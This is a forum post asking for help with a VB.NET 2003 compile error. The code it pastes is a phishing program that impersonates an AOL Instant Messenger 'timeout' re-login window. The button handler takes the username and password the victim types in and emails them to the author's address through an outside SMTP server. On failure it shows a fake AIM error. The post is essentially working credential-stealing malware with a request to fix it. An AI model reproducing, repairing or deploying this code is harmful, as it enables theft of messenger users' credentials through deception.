my vb.net 2003 dosent have the SMTP MAIL class...?
i know the first namespace thing is wrong.. the second IMPORTS. but it still dont work.Code:Imports System Imports System.Web.Mail.MailMessage Public Class Form1 Inherits System.Windows.Forms.Form #Region " Windows Form Designer generated code " Public Sub New() MyBase.New() 'This call is required by the Windows Form Designer. InitializeComponent() 'Add any initialization after the InitializeComponent() call End Sub 'Form overrides dispose to clean up the component list. Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean) If disposing Then If Not (components Is Nothing) Then components.Dispose() End If End If MyBase.Dispose(disposing) End Sub 'Required by the Windows Form Designer Private components As System.ComponentModel.IContainer 'NOTE: The following procedure is required by the Windows Form Designer 'It can be modified using the Windows Form Designer. 'Do not modify it using the code editor. Friend WithEvents Label1 As System.Windows.Forms.Label Friend WithEvents TextBox1 As System.Windows.Forms.TextBox Friend WithEvents TextBox2 As System.Windows.Forms.TextBox Friend WithEvents Button1 As System.Windows.Forms.Button <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent() Me.Label1 = New System.Windows.Forms.Label Me.TextBox1 = New System.Windows.Forms.TextBox Me.TextBox2 = New System.Windows.Forms.TextBox Me.Button1 = New System.Windows.Forms.Button Me.SuspendLayout() ' 'Label1 ' Me.Label1.Location = New System.Drawing.Point(0, 0) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(360, 40) Me.Label1.TabIndex = 0 Me.Label1.Text = "A timeout error has occured. Please re-login to Instant Messenger. A timeout erro" & _ "r occurs annualy for security reasons, please re-login below." ' 'TextBox1 ' Me.TextBox1.Location = New System.Drawing.Point(24, 48) Me.TextBox1.Name = "TextBox1" Me.TextBox1.Size = New System.Drawing.Size(200, 20) Me.TextBox1.TabIndex = 1 Me.TextBox1.Text = "username" ' 'TextBox2 ' Me.TextBox2.Location = New System.Drawing.Point(24, 80) Me.TextBox2.Name = "TextBox2" Me.TextBox2.PasswordChar = Microsoft.VisualBasic.ChrW(42) Me.TextBox2.Size = New System.Drawing.Size(200, 20) Me.TextBox2.TabIndex = 2 Me.TextBox2.Text = "password" ' 'Button1 ' Me.Button1.Location = New System.Drawing.Point(248, 64) Me.Button1.Name = "Button1" Me.Button1.Size = New System.Drawing.Size(96, 24) Me.Button1.TabIndex = 3 Me.Button1.Text = "Login" ' 'Form1 ' Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13) Me.ClientSize = New System.Drawing.Size(360, 118) Me.Controls.Add(Me.Button1) Me.Controls.Add(Me.TextBox2) Me.Controls.Add(Me.TextBox1) Me.Controls.Add(Me.Label1) Me.Name = "Form1" Me.Text = "AOL IM Timeout!!!" Me.ResumeLayout(False) End Sub #End Region Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Dim Message As System.Web.Mail.MailMessage = New System.Web.Mail.MailMessage Message.To = "[email protected]" Message.From = "[email protected]" Message.Subject = "Password from " + TextBox1.Text Message.Body = "Username: " + TextBox1.Text + " Password: " + TextBox2.Text Try SmtpMail.SmtpServer = "mail.yahoo.com" SmtpMail.Send(Message) Catch ehttp As System.Web.HttpException MessageBox.Show("ERROR IN RE-LOGIN. PLEASE REPORT TO AIM.") End Try End Sub End Class




Reply With Quote